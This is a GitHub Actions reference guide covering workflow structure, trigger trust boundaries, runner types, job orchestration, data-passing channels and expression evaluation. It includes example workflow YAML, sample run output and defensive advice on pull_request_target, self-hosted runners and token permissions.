“There should be two tasks for a human being to perform to deploy software into a development, test, or production environment: to pick the version and environment and to press the ‘deploy’ button.”
— David Farley, Continuous Delivery (2010)
Summary
Explains the execution model, syntax surfaces, and security boundaries of GitHub Actions so you can read, author, and debug workflow YAML without confusing workflow-processing time, runner runtime, or deployment-time controls.
Execution model and workflow anatomy
Defines events, workflows, jobs, steps, runners, expressions, contexts, and the event-to-workflow-to-job-to-step execution chain before breaking down the top-level workflow keys
Explains evaluation order, shell defaults, and how data moves across GITHUB_OUTPUT, GITHUB_ENV, static env:, artifacts, caches, and job summaries
Triggers, runners, and job orchestration
Covers push, pull_request, pull_request_target, schedule, workflow_dispatch, repository_dispatch, workflow_call, workflow_run, merge_group, and issue_comment triggers plus the trust and routing differences between them
Compares GitHub-hosted, self-hosted, larger, and ephemeral runners; then layers in needs, matrix jobs, job outputs, containers, and service containers for multi-job orchestration
Expressions, variables, and workflow state
Uses expressions, status functions, contexts, variables, step outputs, default environment variables, and environment-scoped settings to control job behavior and pass values safely
Distinguishes configuration variables from secrets and shows where Actions evaluates YAML expressions versus where shells evaluate runtime environment variables
Security, reuse, and observability
Covers secret scoping, GITHUB_TOKEN, explicit permissions:, concurrency, environments, OIDC, action pinning, reusable workflows, composite actions, artifacts, caching, and debugging via gh run, workflow commands, annotations, and local testing with act
Extends the fundamentals to data-engineering patterns so the core model still holds when workflows start touching warehouses, cloud auth, and deployment gates
Operations and safety
Warnings: pull_request_target trust issues, expression-versus-shell confusion, over-broad GITHUB_TOKEN permissions, stale caches, unsafe secret handling, and unpinned third-party actions
Recommendations: scope permissions: explicitly, prefer OIDC over long-lived cloud secrets, pin actions to SHAs, separate data channels deliberately, and choose runner type and trigger type based on trust boundaries
Troubleshooting: debugging and observability guidance for broken expressions, missing outputs, trigger surprises, runner drift, auth failures, and runtime inspection
Glossary
Workflow
A YAML file in .github/workflows/ that defines an automated process. One repo can have unlimited workflows.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Evaluation scope matters
GitHub Actions resolves different values at different times and scopes. Confusing workflow-processing state with shell runtime state is a common source of broken YAML and misleading conditions.
Event
A repository activity (push, PR, cron, manual dispatch) that triggers one or more workflows.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Evaluation scope matters
GitHub Actions resolves different values at different times and scopes. Confusing workflow-processing state with shell runtime state is a common source of broken YAML and misleading conditions.
Trigger
The on: key in a workflow that maps events to workflow runs.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Evaluation scope matters
GitHub Actions resolves different values at different times and scopes. Confusing workflow-processing state with shell runtime state is a common source of broken YAML and misleading conditions.
Workflow run
A single execution of a workflow, identified by a unique run_id.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Evaluation scope matters
GitHub Actions resolves different values at different times and scopes. Confusing workflow-processing state with shell runtime state is a common source of broken YAML and misleading conditions.
Job
A unit of work within a workflow. Each job runs on a separate runner VM. Jobs run in parallel by default.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Operational blast radius
This changes execution shape, state reuse, or deployment behavior. Misconfiguring it tends to create expensive failures that are visible only after the workflow starts.
Step
A single task within a job. Steps run sequentially, sharing the runner’s filesystem.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Operational blast radius
This changes execution shape, state reuse, or deployment behavior. Misconfiguring it tends to create expensive failures that are visible only after the workflow starts.
Action
A reusable unit of code referenced with uses:. Can be JavaScript, Docker, or composite.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Operational nuance
Treat this as a concrete GitHub Actions object, runtime surface, or workflow control rather than as a loose synonym. The surrounding YAML behaves differently depending on this exact meaning.
Runner
A server that executes jobs. Can be GitHub-hosted (ephemeral VM) or self-hosted (your infrastructure).
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Operational blast radius
This changes execution shape, state reuse, or deployment behavior. Misconfiguring it tends to create expensive failures that are visible only after the workflow starts.
Context
A dictionary of data available in expressions (github, runner, env, steps, needs, matrix, inputs, vars, secrets).
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries read, scope, or constrain this part of the Actions runtime directly, and misunderstanding it leads to the wrong safety or execution assumption.
Security boundary
This term affects trust, identity, or supply-chain integrity. Scope it deliberately and avoid broad defaults that let untrusted workflow code inherit high privilege.
Expression
A ${{ }} template evaluated by GitHub at workflow-processing time, before any shell runs.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries read, scope, or constrain this part of the Actions runtime directly, and misunderstanding it leads to the wrong safety or execution assumption.
Evaluation scope matters
GitHub Actions resolves different values at different times and scopes. Confusing workflow-processing state with shell runtime state is a common source of broken YAML and misleading conditions.
GITHUB_TOKEN
An auto-generated, scoped token that authenticates a workflow run to the GitHub API. Expires when the run ends.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries read, scope, or constrain this part of the Actions runtime directly, and misunderstanding it leads to the wrong safety or execution assumption.
Security boundary
This term affects trust, identity, or supply-chain integrity. Scope it deliberately and avoid broad defaults that let untrusted workflow code inherit high privilege.
Secret
An encrypted variable stored at repo, environment, or org level. Masked in logs.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries read, scope, or constrain this part of the Actions runtime directly, and misunderstanding it leads to the wrong safety or execution assumption.
Security boundary
This term affects trust, identity, or supply-chain integrity. Scope it deliberately and avoid broad defaults that let untrusted workflow code inherit high privilege.
Configuration variable
A plaintext variable (vars context) for non-sensitive config. Not masked.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries read, scope, or constrain this part of the Actions runtime directly, and misunderstanding it leads to the wrong safety or execution assumption.
Evaluation scope matters
GitHub Actions resolves different values at different times and scopes. Confusing workflow-processing state with shell runtime state is a common source of broken YAML and misleading conditions.
Environment
A named deployment target (e.g., staging, production) with optional protection rules and scoped secrets.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Security boundary
This term affects trust, identity, or supply-chain integrity. Scope it deliberately and avoid broad defaults that let untrusted workflow code inherit high privilege.
Artifact
A file or directory uploaded from a workflow run, downloadable by other jobs or users. Default retention: 90 days.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Operational blast radius
This changes execution shape, state reuse, or deployment behavior. Misconfiguring it tends to create expensive failures that are visible only after the workflow starts.
Cache
A stored dependency tree (e.g., pip, npm) keyed by a hash of a lockfile. Evicted after 7 days of no access. Max 10 GB per repo.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Operational blast radius
This changes execution shape, state reuse, or deployment behavior. Misconfiguring it tends to create expensive failures that are visible only after the workflow starts.
Concurrency group
A named lock that serializes or cancels overlapping runs.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries read, scope, or constrain this part of the Actions runtime directly, and misunderstanding it leads to the wrong safety or execution assumption.
Operational blast radius
This changes execution shape, state reuse, or deployment behavior. Misconfiguring it tends to create expensive failures that are visible only after the workflow starts.
Permissions
The permissions: key that scopes the GITHUB_TOKEN to specific API capabilities.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries read, scope, or constrain this part of the Actions runtime directly, and misunderstanding it leads to the wrong safety or execution assumption.
Security boundary
This term affects trust, identity, or supply-chain integrity. Scope it deliberately and avoid broad defaults that let untrusted workflow code inherit high privilege.
OIDC
OpenID Connect — a protocol for exchanging short-lived GitHub JWTs for cloud provider credentials without storing long-lived secrets.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries read, scope, or constrain this part of the Actions runtime directly, and misunderstanding it leads to the wrong safety or execution assumption.
Security boundary
This term affects trust, identity, or supply-chain integrity. Scope it deliberately and avoid broad defaults that let untrusted workflow code inherit high privilege.
Reusable workflow
A workflow that accepts workflow_call and can be invoked by other workflows via uses:.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Evaluation scope matters
GitHub Actions resolves different values at different times and scopes. Confusing workflow-processing state with shell runtime state is a common source of broken YAML and misleading conditions.
Composite action
An action defined in action.yml that groups multiple steps into a single uses: reference.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Evaluation scope matters
GitHub Actions resolves different values at different times and scopes. Confusing workflow-processing state with shell runtime state is a common source of broken YAML and misleading conditions.
Matrix strategy
A build matrix that generates multiple job instances from combinations of values.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Operational blast radius
This changes execution shape, state reuse, or deployment behavior. Misconfiguring it tends to create expensive failures that are visible only after the workflow starts.
Service container
A Docker container (e.g., PostgreSQL) attached to a job for integration testing.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries read, scope, or constrain this part of the Actions runtime directly, and misunderstanding it leads to the wrong safety or execution assumption.
Evaluation scope matters
GitHub Actions resolves different values at different times and scopes. Confusing workflow-processing state with shell runtime state is a common source of broken YAML and misleading conditions.
Workflow command
A ::command:: string written to stdout that instructs the runner to set outputs, mask values, create annotations, or group log lines.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Operational blast radius
This changes execution shape, state reuse, or deployment behavior. Misconfiguring it tends to create expensive failures that are visible only after the workflow starts.
Job summary
Markdown written to $GITHUB_STEP_SUMMARY that renders on the workflow run page in GitHub.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Evaluation scope matters
GitHub Actions resolves different values at different times and scopes. Confusing workflow-processing state with shell runtime state is a common source of broken YAML and misleading conditions.
GITHUB_OUTPUT
A file that steps write to for setting step outputs (replacing the deprecated ::set-output command).
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries depend on choosing this mechanism deliberately instead of treating nearby GitHub Actions features as interchangeable.
Evaluation scope matters
GitHub Actions resolves different values at different times and scopes. Confusing workflow-processing state with shell runtime state is a common source of broken YAML and misleading conditions.
GITHUB_ENV
A file that steps write to for dynamically setting environment variables available to subsequent steps in the same job.
It matters in this note because the workflows for workflow structure, trigger semantics, runner behavior, expression evaluation, and GitHub Actions security boundaries read, scope, or constrain this part of the Actions runtime directly, and misunderstanding it leads to the wrong safety or execution assumption.
Operational blast radius
This changes execution shape, state reuse, or deployment behavior. Misconfiguring it tends to create expensive failures that are visible only after the workflow starts.
How workflow execution moves from events to steps
GitHub Actions executes automated processes in response to repository events. The execution flows through four levels: event → workflow → job → step.
The execution model: a repository event matches a workflow’s on: trigger, which spawns a workflow run. The run creates jobs, each on its own runner VM. Steps within a job execute sequentially, sharing the runner’s filesystem and environment. Jobs run in parallel by default unless ordered with needs:.
conceptual model | data flow
Data moves between steps, jobs, and workflows through specific channels:
Channel
Scope
Set by
Read by
Crosses job boundary?
GITHUB_OUTPUT
Step → step/job
echo "key=val" >> $GITHUB_OUTPUT
${{ steps.<id>.outputs.key }} or ${{ needs.<job>.outputs.key }}
Yes (via jobs.<id>.outputs)
GITHUB_ENV
Step → subsequent steps
echo "KEY=val" >> $GITHUB_ENV
$KEY or ${{ env.KEY }}
No
env: (static)
Workflow/job/step
YAML env: block
$KEY or ${{ env.KEY }}
No
vars
Repo/environment
GitHub Settings UI
${{ vars.KEY }}
Yes
secrets
Repo/environment/org
GitHub Settings UI
${{ secrets.KEY }}
Yes
Artifacts
Job → job/workflow
actions/upload-artifact
actions/download-artifact
Yes
Cache
Job → future runs
actions/cache
actions/cache (restore)
Yes (across runs)
GITHUB_STEP_SUMMARY
Step → run page
echo "md" >> $GITHUB_STEP_SUMMARY
GitHub UI run summary
N/A (display only)
conceptual model | evaluation order
Expressions (${{ }}) are evaluated by GitHub at workflow-processing time, before any shell command runs. This distinction is critical:
Workflow parse — GitHub reads the YAML and evaluates all ${{ }} expressions.
Job creation — GitHub creates runner VMs and assigns jobs.
Step execution — The runner executes shell commands with the already-substituted values.
This means ${{ github.sha }} is a string literal by the time bash sees it — it is not a shell variable. Conversely, $GITHUB_SHA is a real environment variable available at shell runtime.
Workflow expressions and shell commands run in different phases
GitHub resolves expressions while processing the workflow YAML, then the runner
executes shell commands with those resolved values already substituted. Safe
workflow design depends on knowing which channel is evaluated when.
Expression evaluation is not shell evaluation
${{ }} expressions are resolved before the shell starts. You cannot use
shell logic to construct expression values. if: ${{ env.MY_VAR == 'true' }}
reads env.MY_VAR from the context object, not from the shell environment.
If MY_VAR was set via GITHUB_ENV in a previous step, the env context
will have it — but if set via export in the same step, it will not.
Use the right channel for the right scope
Need a value in the next step of the same job? → GITHUB_ENV
Need a value in a different job? → GITHUB_OUTPUT + jobs.<id>.outputs
Need a value across workflow runs? → Artifacts or cache
Need a value from GitHub Settings? → vars (plaintext) or secrets (encrypted)
How a workflow file is structured
Every workflow lives at .github/workflows/<name>.yml. GitHub discovers all YAML files in that directory automatically — no registration step is needed.
workflow | top-level keys
Key
Required
Purpose
name
No
Display name shown in the GitHub UI and gh run list output
run-name
No
Dynamic run name — can include expressions like Deploy ${{ inputs.environment }}
on
Yes
Event triggers — which repository events activate the workflow
env
No
Workflow-level environment variables, available to all jobs and steps
permissions
No
Explicit GITHUB_TOKEN scope — always declare for least privilege
concurrency
No
Prevent duplicate runs on the same branch or environment
defaults
No
Default run shell and working-directory for all steps
jobs
Yes
Map of jobs to execute — each job runs on its own runner
workflow | defaults and shell selection
Set defaults.run at workflow scope when most steps share the same shell or working directory. It becomes relevant in any workflow where you want predictable shell behavior without repeating shell: and working-directory: on every step. The setting applies to run: steps only and can still be overridden locally when a step needs different execution semantics.
Workflow YAML breakdown
defaults.run.shell: sets the default shell for all run: steps. Common values: bash, pwsh, python3 {0}, sh
defaults.run.working-directory: sets the default working directory, relative to the repo root
Individual steps can override both with their own shell: and working-directory: keys
defaults.run does NOT apply to uses: steps (actions)
Set bash as the default shell with a custom working directory.
name: "Demo: Defaults and Shell"on: push: branches: [main] paths: - ".github/workflows/demo-defaults-shell.yml" workflow_dispatch:permissions: contents: readdefaults: run: shell: bash working-directory: ./srcjobs: shell-demo: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Default shell and working dir run: | echo "=== defaults.run demo ===" echo "Shell: bash (set via defaults.run.shell)" echo "Working directory: $(pwd)" - name: Override shell for one step shell: python3 {0} working-directory: . run: | import sys print(f"=== Shell override ===") print(f"Python version: {sys.version}") print(f"Individual steps can override defaults.run")
Workflow run output (run #1, triggered by push to main):
Exits on first error; pipe fails if any command fails
sh
Linux, macOS
sh -e {0}
Exits on first error
pwsh
All
pwsh -command ". '{0}'"
PowerShell Core — $ErrorActionPreference = 'stop'
python
All
python {0}
Runs the script as Python
cmd
Windows
cmd /D /E:ON /V:OFF /S /C "CALL "{0}""
Windows Command Prompt
powershell
Windows
powershell -command ". '{0}'"
Windows PowerShell (5.x)
Which events and filters can start a workflow
The on: key defines which repository events activate the workflow. Each trigger type can be filtered by branch, path, tag, or activity type. Multiple triggers can be combined — the workflow runs when any of them fires.
triggers | push event
Use this pattern when continuous integration — validate code quality and tests on every push.
Trust boundary: Runs code from the pushed commit. Secrets are available.
Workflow YAML breakdown
on.push.branches: glob-pattern list of branches that trigger the workflow. [main, 'feature/**'] matches main and any branch under feature/
on.push.paths: only triggers if at least one changed file matches these glob patterns. Use to avoid running expensive CI on unrelated changes
on.push.paths-ignore: inverse of paths — trigger unless the only changes are in these paths. Cannot combine paths and paths-ignore in the same trigger
on.push.tags: trigger on tag creation. Use glob patterns like v* to match semantic version tags
Use this pattern when CI validation on pull requests — lint, test, and check before merge.
Trust boundary: For PRs from the same repo, runs against a temporary merge commit (the PR head merged into the base). Secrets are available. For fork PRs, secrets are NOT available.
Workflow YAML breakdown
on.pull_request.branches: only triggers for PRs targeting these base branches
on.pull_request.types: activity types that trigger the workflow. Default: [opened, synchronize, reopened]. Other useful types: ready_for_review, labeled, closed
github.sha in a PR workflow is the merge commit SHA, not the head commit. Use github.event.pull_request.head.sha for the actual PR head
Workflow run output (run #1, triggered by PR #10 from feature/demo-pr):
Event: pull_requestAction type: openedPR number: 10PR title: Demo: PR trigger testHead ref: feature/demo-prBase ref: mainHead SHA: 44f3e42645f0837ad163e272eb4c56114d9bd3edIs fork: falseMerge commit SHA: 2fafdaabe31e624c604c6e6cab02ca9153c9d15dIMPORTANT: This workflow runs against the MERGE commit(a temporary ref that merges head into base).Secrets are available ONLY for PRs from the same repo, not forks.
triggers | pull_request_target event
Use this pattern when processing fork PRs that need write access or secrets — labels, comments, deployments.
Trust boundary: Runs workflow code from the base branch (not the PR head), with full secrets and write permissions.
Trigger choice defines the trust boundary for pull request automation
pull_request_target is useful because it runs with base-branch privileges, but
that same privilege model becomes dangerous the moment untrusted PR code is
executed inside the job.
pull_request_target can execute untrusted code with full privileges
If you check out the PR head (actions/checkout with
ref: ${{ github.event.pull_request.head.sha }}) and then run code from it
(tests, scripts, build commands), you are executing arbitrary code from an
untrusted fork with full access to secrets and write permissions. This is a
known attack vector.
Restrict pull_request_target to metadata or split the workflow
Use pull_request_target only for metadata operations such as labeling or commenting.
Run builds and tests for forked PR code under pull_request, where secrets are unavailable.
If a privileged follow-up is required, trigger a separate workflow_run workflow on the base branch after the unprivileged workflow completes.
triggers | schedule
Use this pattern when recurring tasks — nightly builds, weekly reports, periodic cleanup, SLA monitoring.
Trust boundary: Always runs on the default branch (main). Full secrets available.
Workflow YAML breakdown
on.schedule[].cron: standard five-field cron expression (minute hour day-of-month month day-of-week). Uses UTC timezone
Multiple cron expressions can be listed — each fires independently
github.event.schedule contains the cron expression that triggered the current run
Adding workflow_dispatch alongside schedule allows manual triggering for testing
Workflow run output (run #2, triggered by cron schedule — fired 21 minutes after the :45 mark due to GitHub jitter):
Event: scheduleTriggered at: 2026-04-12 18:06:05 UTCSchedule notes:- Cron runs on the default branch only (main)- GitHub does NOT guarantee exact timing- Expect up to 15+ minutes of jitter under load- Scheduled runs may be skipped entirely if the repo is inactive for 60+ days- The github.event.schedule field shows which cron expression firedSchedule expression: 45 * * * *
Scheduled workflows are best-effort timers, not precise schedulers
GitHub cron is suitable for recurring maintenance and reporting, but it is not
a hard real-time scheduling system. The workflow needs an operational fallback
when timing matters.
Cron timing is not deterministic
GitHub does not guarantee exact cron execution times. Under high load,
scheduled runs may be delayed by 15+ minutes. If the repo is inactive for
60+ days, scheduled workflows are automatically disabled. Do not rely on cron
for time-sensitive operations.
Add an explicit testing and reliability path
Add workflow_dispatch to every scheduled workflow so the logic can be tested on demand.
Monitor for missed or delayed runs rather than assuming perfect cadence.
Use an external scheduler such as Cloud Scheduler plus repository_dispatch when exact timing matters.
triggers | workflow_dispatch
Use this pattern when manual triggers — ad-hoc deploys, backfills, on-demand reports, debugging.
Trust boundary: Runs on the branch selected in the UI or API call. Full secrets available.
Workflow YAML breakdown
on.workflow_dispatch.inputs: defines typed input parameters shown in the GitHub UI
Input types: string, boolean, choice, environment (dropdown of repo environments)
Access inputs in steps via ${{ inputs.<name> }}
Trigger from CLI: gh workflow run <name> -f key=value
Workflow run output (run #1, triggered by workflow_dispatch):
Event: workflow_dispatchActor: alp78=== Inputs ===Environment: stagingDry run: trueLog level: debugCustom message: Hello from workflow_dispatchDRY RUN MODE — no changes will be made
triggers | repository_dispatch
Use this pattern when external system integration — triggering workflows from webhooks, APIs, other repos, or CI/CD orchestrators.
Trust boundary: Always runs on the default branch (main). Full secrets available.
Workflow YAML breakdown
on.repository_dispatch.types: list of custom event types to filter on. The event_type in the API call must match
github.event.client_payload: JSON object sent by the API caller, accessible in expressions
Use this pattern when release-driven deployment — trigger a deploy, publish, or changelog generation when a GitHub release is created.
Trust boundary: Runs on the tag/branch associated with the release. Full secrets available.
on: release: types: [published]
The github.event.release object contains the tag name, release name, body, and whether it’s a pre-release. Common pattern: if: ${{ !github.event.release.prerelease }} to skip pre-releases.
triggers | workflow_call (reusable workflow)
Use this pattern when sharing workflow logic across repositories or within a monorepo. The called workflow receives inputs and can return outputs.
Trust boundary: Inherits the caller’s GITHUB_TOKEN permissions. Secrets must be explicitly passed.
Use this pattern when chaining workflows — run a deployment after CI passes, aggregate results from fork PR workflows, or post-process artifacts.
Trust boundary: Always runs on the default branch (main), regardless of the triggering workflow’s branch. Full secrets available.
Workflow YAML breakdown
on.workflow_run.workflows: list of workflow names (not filenames) to watch
on.workflow_run.types: [completed], [requested], or both
github.event.workflow_run: contains the triggering workflow’s conclusion, branch, SHA, and actor
Use if: ${{ github.event.workflow_run.conclusion == 'success' }} to only run on success
Run a post-processing workflow after the push trigger completes.
Workflow run output (run #1, triggered by completion of “Demo: Push Trigger”):
=== workflow_run trigger ===This workflow was triggered by the completion of another workflow.Triggering workflow: Demo: Push TriggerTriggering workflow ID: 24312297713Triggering conclusion: successTriggering branch: mainTriggering SHA: 739cdaf09d0d5a4ed7cfd46827a602fca7311af5Triggering actor: alp78IMPORTANT: workflow_run always runs on the DEFAULT branch (main).It does NOT run the code from the triggering branch.This has security implications — the called workflow is trusted code.
triggers | merge_group
Use this pattern when repos with merge queues enabled. The merge_group event fires when a PR is added to the merge queue, running checks against the tentative merge result.
on: merge_group: types: [checks_requested]
Merge queue validation is a separate event path from ordinary pull requests
Required checks have to trigger for the synthetic merge-queue event, not just
for the original PR, or the queue cannot advance.
Missing merge_group leaves the merge queue permanently stuck
If you enable merge queues on a branch but your required status checks only
trigger on pull_request, they will never run for merge queue entries.
Add merge_group alongside pull_request
on: pull_request: branches: [main] merge_group:
triggers | issue_comment
Use this pattern when slash-command bots — /deploy, /rerun, /approve comments that trigger workflows.
Trust boundary: Fires for comments on both issues and PRs. Runs on the default branch with full secrets.
Comment-driven automation runs with default-branch trust, not PR-branch trust
Slash-command workflows are convenient, but they are privileged control paths.
The workflow must verify the actor and avoid turning comments into a path for
executing untrusted branch code with secrets.
issue_comment runs on the default branch, not the PR branch
If an issue_comment workflow checks out the PR branch and runs code from it,
any user who can comment on an issue can execute arbitrary code with full repo
secrets. This is equivalent to the pull_request_target attack.
Gate comment workflows tightly
Check that the commenter has write access with author_association.
Trigger only on narrowly scoped command text such as /deploy.
Never check out or execute untrusted PR code while secrets are available.
triggers | multiple triggers
Combine multiple triggers — the workflow runs when any of them fires.
Use github.event_name to branch logic based on which trigger fired.
Where jobs run and how runner types differ
Runners are the servers that execute workflow jobs. Each job runs on a fresh runner instance.
runners | GitHub-hosted runners
GitHub provides managed, ephemeral VMs with pre-installed tools. The VM is created fresh for each job and destroyed after the job completes.
Label
OS
vCPU
RAM
Disk
Per-minute cost (public)
ubuntu-latest
Ubuntu 24.04
4
16 GB
14 GB SSD
Free (2,000 min/mo)
windows-latest
Windows Server 2022
4
16 GB
14 GB SSD
2× Linux rate
macos-latest
macOS 14 (Sonoma)
3 (M1)
7 GB
14 GB SSD
10× Linux rate
runners | self-hosted runners
Use this pattern when GPU workloads, private network access, compliance requirements, or cost savings at scale.
Owning the runner means owning the runner attack surface
Self-hosted runners trade convenience and network access for a much larger
persistence and isolation problem than GitHub-hosted ephemeral machines.
Self-hosted runners without isolation are a security risk
Unlike GitHub-hosted runners, self-hosted runners are not ephemeral by
default. A malicious workflow can persist files, install backdoors, or
exfiltrate credentials. Any fork PR can run code on your self-hosted runner
if not restricted.
Use hardened self-hosted runner patterns
Run self-hosted runners in ephemeral or JIT mode.
Restrict runner groups to specific repositories.
Use container or Kubernetes isolation around job execution.
Never expose self-hosted runners to public repos with fork PRs enabled.
runners | larger and ephemeral runners
GitHub offers larger runner sizes for performance-intensive workloads. Available on GitHub Team and Enterprise plans.
Size
vCPU
RAM
Use case
ubuntu-latest-4-cores
4
16 GB
Standard CI
ubuntu-latest-8-cores
8
32 GB
Parallel test suites
ubuntu-latest-16-cores
16
64 GB
Docker builds, ML training
ubuntu-latest-32-cores
32
128 GB
Large monorepo builds
How jobs define parallel and dependent work
Jobs are the primary units of work. Each job runs on a fresh runner VM.
jobs | sequential dependencies (needs)
Use needs: to create job dependencies. A job only starts after all jobs listed in needs: complete successfully.
Without needs:, all three jobs would run in parallel.
jobs | matrix strategy
Use a matrix when the same job must run across multiple Python versions, operating systems, or configuration variants. One job definition expands into multiple parallel job instances, each with a different parameter combination.
Workflow YAML breakdown
strategy.matrix: defines the parameter axes and their values
strategy.fail-fast: if true (default), cancels remaining jobs when one fails. Set to false to run all combinations
Use this pattern when integration testing with real databases, message queues, or other services. The operational goal is to attach Docker containers alongside the job runner for end-to-end testing without mocks.
Workflow YAML breakdown
services.<name>.image: Docker image to pull (e.g., postgres:16)
services.<name>.env: environment variables for the container
services.<name>.ports: port mappings from container to runner
services.<name>.options: Docker CLI options — use for health checks to wait for container readiness
Health check options: --health-cmd, --health-interval, --health-timeout, --health-retries
PostgreSQL service container for integration testing.
name: "Demo: Service Container"on: push: branches: [main] paths: - ".github/workflows/demo-service-container.yml" workflow_dispatch:permissions: contents: readjobs: integration-test: runs-on: ubuntu-latest services: postgres: image: postgres:16 env: POSTGRES_USER: testuser POSTGRES_PASSWORD: testpass POSTGRES_DB: testdb ports: - 5432:5432 options: >- --health-cmd="pg_isready -U testuser" --health-interval=10s --health-timeout=5s --health-retries=5 steps: - uses: actions/checkout@v4 - name: Run integration test env: PGHOST: localhost PGPORT: 5432 PGUSER: testuser PGPASSWORD: testpass PGDATABASE: testdb run: | echo "Creating test table..." psql -c "CREATE TABLE orders (id SERIAL PRIMARY KEY, amount DECIMAL, created_at TIMESTAMP DEFAULT NOW());" echo "Inserting test data..." psql -c "INSERT INTO orders (amount) VALUES (99.99), (149.50), (200.00);" echo "Running validation query..." psql -c "SELECT COUNT(*) AS order_count, SUM(amount) AS total FROM orders;"
Workflow run output (run #1, triggered by push to main):
PostgreSQL is ready after 1 attempts=== Service container demo ===Creating test table...CREATE TABLEInserting test data...INSERT 0 3Running validation query... order_count | total-------------+-------- 3 | 449.49(1 row)Service container provides a real PostgreSQL instance.No mocking needed — this is a true integration test.
How steps execute inside each job
Steps are the individual tasks within a job. They execute sequentially and share the runner’s filesystem.
steps | uses (actions)
The uses: key references a reusable action. Actions are pulled from GitHub repos, Docker images, or local paths.
steps: # GitHub Marketplace action (pinned to tag) - uses: actions/checkout@v4 # Same action pinned to full SHA (more secure) - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # Action from another repo - uses: google-github-actions/auth@v2 with: workload_identity_provider: ${{ secrets.GCP_WORKLOAD_IDENTITY_PROVIDER }} # Local action from the same repo - uses: ./.github/actions/my-custom-action
steps | continue-on-error semantics
Use continue-on-error when a step may fail without invalidating the entire job, such as flaky diagnostics, optional checks, or best-effort notifications. The flag turns that step failure into a soft success while still preserving the failure details in the logs and UI.
Step-level vs job-level continue-on-error behavior.
Workflow run output (run #1, triggered by push to main):
=== Step-level continue-on-error ===flaky.outcome: failureflaky.conclusion: successoutcome = raw result: failureconclusion = after continue-on-error applied: successThe job status is still 'success' becausecontinue-on-error converted the failure.Running cleanup because the flaky step failed.
Failure masking should stay narrow and explicit
continue-on-error is useful for experiments and cleanup logic, but if it is
applied too broadly it destroys the signal that CI is meant to preserve.
Job-level continue-on-error hides real failures
Setting continue-on-error: true at the job level makes the overall
workflow show as success even when the job fails. Downstream jobs via
needs: will also see the result as success.
Apply error tolerance at the step boundary
Use continue-on-error on individual steps, not entire jobs. Then inspect
steps.<id>.outcome in a later step to handle the failure explicitly.
Property
outcome
conclusion
Definition
Raw execution result
Result after continue-on-error
When continue-on-error is true
failure
success
When continue-on-error is false
failure
failure
Use for conditionals
${{ steps.<id>.outcome == 'failure' }}
N/A
How expressions and contexts are evaluated
expressions | syntax and operators
Expressions use the ${{ }} syntax and are evaluated at workflow-processing time.
